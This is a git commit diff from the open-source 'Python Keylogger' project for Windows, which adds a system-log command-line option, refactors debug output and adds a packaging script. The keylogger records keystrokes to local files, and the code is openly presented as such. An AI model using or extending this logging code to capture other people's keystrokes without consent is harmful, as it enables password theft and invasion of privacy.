centralized versioning in just one file, created commandline option for system log.

nanotube [2005-09-22 04:17]
centralized versioning in just one file, created commandline option for system log.
Filename
keylogger.pyw
logwriter.py
make_all_dist.py
version.py
diff --git a/keylogger.pyw b/keylogger.pyw
index ae0fe56..94f69c5 100644
--- a/keylogger.pyw
+++ b/keylogger.pyw
@@ -54,7 +54,9 @@ class KeyLogger:

         parser.add_option("-n", "--nolog", action="append", dest="noLog", help="specify an application by full path name whose input will not be logged. repeat option for multiple applications. [default: %default]")
         parser.add_option("-o", "--onefile", action="store", dest="oneFile", help="log all output to one file ONEFILE, (inside DIRNAME, as specified with -f option), rather than to multiple files. [default: %default]")
-
+
+        parser.add_option("-s", "--systemlog", action="store", dest="systemLog", help="log all output, plus some debug output, to a SYSTEMLOG file (inside DIRNAME, as specified with -f option). [default: %default]")
+
         parser.set_defaults(dirName=r"C:\Temp\logdir",
                             hookKeyboard=True,
                             addLineFeed=False,
@@ -64,7 +66,8 @@ class KeyLogger:
                             flushKey='F11',
                             debug=False,
                             noLog=None,
-                            oneFile=None)
+                            oneFile=None,
+                            systemLog=None)

         (self.options, args) = parser.parse_args()

diff --git a/logwriter.py b/logwriter.py
index 826dd1e..8624e35 100644
--- a/logwriter.py
+++ b/logwriter.py
@@ -11,7 +11,6 @@ class LogWriter:

         self.options = options

-        #self.rootLogDir = os.path.normpath(options.dirName)
         self.options.dirName = os.path.normpath(self.options.dirName)

         try:
@@ -23,16 +22,17 @@ class LogWriter:
                 print "OSError:", detail

         self.writeTarget = ""
-        #self.systemlog = open(os.path.join(os.path.normpath(self.options.dirName), "systemlog.txt"), 'a')
+        if self.options.systemLog != None:
+            self.systemlog = open(os.path.join(os.path.normpath(self.options.dirName), self.options.systemLog), 'a')

     def WriteToLogFile(self, event):
         loggable = self.TestForNoLog(event)

         if not loggable:                        # if the program is in the no-log list, we return without writing to log.
-            if self.options.debug: print "not loggable, we are outta here"
+            if self.options.debug: self.PrintStuff("not loggable, we are outta here\n")
             return

-        if self.options.debug: print "loggable, lets log it"
+        if self.options.debug: self.PrintStuff("loggable, lets log it\n")

         self.OpenLogFile(event)

@@ -64,7 +64,7 @@ class LogWriter:

         if event.Key == self.options.flushKey:
             self.log.flush()
-        #    self.systemlog.flush()
+            if self.options.systemLog != None: self.systemlog.flush()

     def TestForNoLog(self, event):
         '''This function returns False if the process name associated with an event
@@ -74,8 +74,6 @@ class LogWriter:
         if self.options.noLog != None:
             for path in self.options.noLog:
                 if os.stat(path) == os.stat(self.processName):    #we use os.stat instead of comparing strings due to multiple possible representations of a path
-                    #if self.debug:
-                    #    print "we dont log this"
                     return False
         return True

@@ -111,24 +109,21 @@ class LogWriter:
         #already-opened file.
         if self.writeTarget != os.path.join(self.options.dirName, subDirName, filename):
             if self.writeTarget != "":
-                if self.options.debug:
-                    print "flushing and closing old log"
-                #self.systemlog.write("flushing and closing old log\n")
+                if self.options.debug: self.PrintStuff("flushing and closing old log")
                 self.log.flush()
                 self.log.close()
             self.writeTarget = os.path.join(self.options.dirName, subDirName, filename)
-            if self.options.debug:
-                print "writeTarget:",self.writeTarget
-            #self.systemlog.write("writeTarget: " + self.writeTarget + "\n")
-
+            if self.options.debug: self.PrintStuff("writeTarget:" + self.writeTarget)
+
             self.log = open(self.writeTarget, 'a')

     def PrintStuff(self, stuff):
         if not self.options.debug:
             self.log.write(stuff)
-            #self.systemlog.write(stuff)
         else:
             sys.stdout.write(stuff)
+        if self.options.systemLog != None:
+            self.systemlog.write(stuff)


     def GetProcessNameFromHwnd(self, hwnd):
diff --git a/make_all_dist.py b/make_all_dist.py
new file mode 100644
index 0000000..a5fcc96
--- /dev/null
+++ b/make_all_dist.py
@@ -0,0 +1,51 @@
+import version
+import os
+import sys
+
+if raw_input("Current version is " + version.version + ". Is that correct? [Y/N] ") in ["y", "Y", "yes", "YES", "Yes"]:
+    pass
+else:
+    sys.exit()
+
+#delete old build dir.
+print 'rd /S /Q build'
+os.system('rd /S /Q build')
+
+# create the exe
+print 'c:\Python24\python setup.py py2exe -b1'
+os.system('c:\Python24\python setup.py py2exe -b1')
+
+#pause to see output
+#os.system('pause "done, press key to continue"')
+print 'rename "dist" "pykeylogger""'
+os.system('rename "dist" "pykeylogger""')
+
+print 'copy ".\*.txt" ".\pykeylogger""'
+os.system('copy ".\*.txt" ".\pykeylogger""')
+
+#command = '\"\"C:\Progra~1\WinRAR\WinRAR.exe" a -r "pykeylogger' + version.version + '_win32.zip" "pykeylogger\"\"'
+#print repr(command)
+#os.system(command)
+print '""C:\Progra~1\WinRAR\WinRAR.exe" a -r "pykeylogger' + version.version + '_win32.zip" "pykeylogger""'
+os.system('""C:\Progra~1\WinRAR\WinRAR.exe" a -r "pykeylogger' + version.version + '_win32.zip" "pykeylogger""')
+
+print 'mv "./pykeylogger' + version.version + '_win32.zip" "../pykeylogger' + version.version + '_win32.zip"'
+os.system('mv "./pykeylogger' + version.version + '_win32.zip" "../pykeylogger' + version.version + '_win32.zip"')
+
+print 'rd /S /Q pykeylogger'
+os.system('rd /S /Q pykeylogger')
+print 'rd /S /Q build'
+os.system('rd /S /Q build')
+
+#os.system('pause "done, now lets create the src dist"')
+print '""C:\Progra~1\WinRAR\WinRAR.exe" a -r "pykeylogger' + version.version + '_src.zip" "keylogger.pyw" "logwriter.py" "setup.py" "version.py" "make_all_dist.py" "*.txt" "*.bat" "html""'
+os.system('""C:\Progra~1\WinRAR\WinRAR.exe" a -r "pykeylogger' + version.version + '_src.zip" "keylogger.pyw" "logwriter.py" "setup.py" "version.py" "make_all_dist.py" "*.txt" "*.bat" "html""')
+
+print 'mv "./pykeylogger' + version.version + '_src.zip" "../pykeylogger' + version.version + '_src.zip"'
+os.system('mv "./pykeylogger' + version.version + '_src.zip" "../pykeylogger' + version.version + '_src.zip"')
+
+#os.system('pause "now lets create the md5 sums"')
+print '""C:\Progra~1\UnixUtils\md5sum.exe" "../pykeylogger' + version.version + '_src.zip" "../pykeylogger' + version.version + '_win32.zip" > "../pykeylogger' + version.version + '_md5sums.txt""'
+os.system('""C:\Progra~1\UnixUtils\md5sum.exe" "../pykeylogger' + version.version + '_src.zip" "../pykeylogger' + version.version + '_win32.zip" > "../pykeylogger' + version.version + '_md5sums.txt""')
+
+os.system('pause "done, press to key to exit""')
diff --git a/version.py b/version.py
index 5258da4..6b2e3c0 100644
--- a/version.py
+++ b/version.py
@@ -1,6 +1,6 @@

 name = "Python Keylogger"
-version = "0.6.0"
+version = "0.6.1"
 description = "Simple Python Keylogger for Windows"
 url = "http://pykeylogger.sourceforge.net"
 license = "GPL"
ViewGit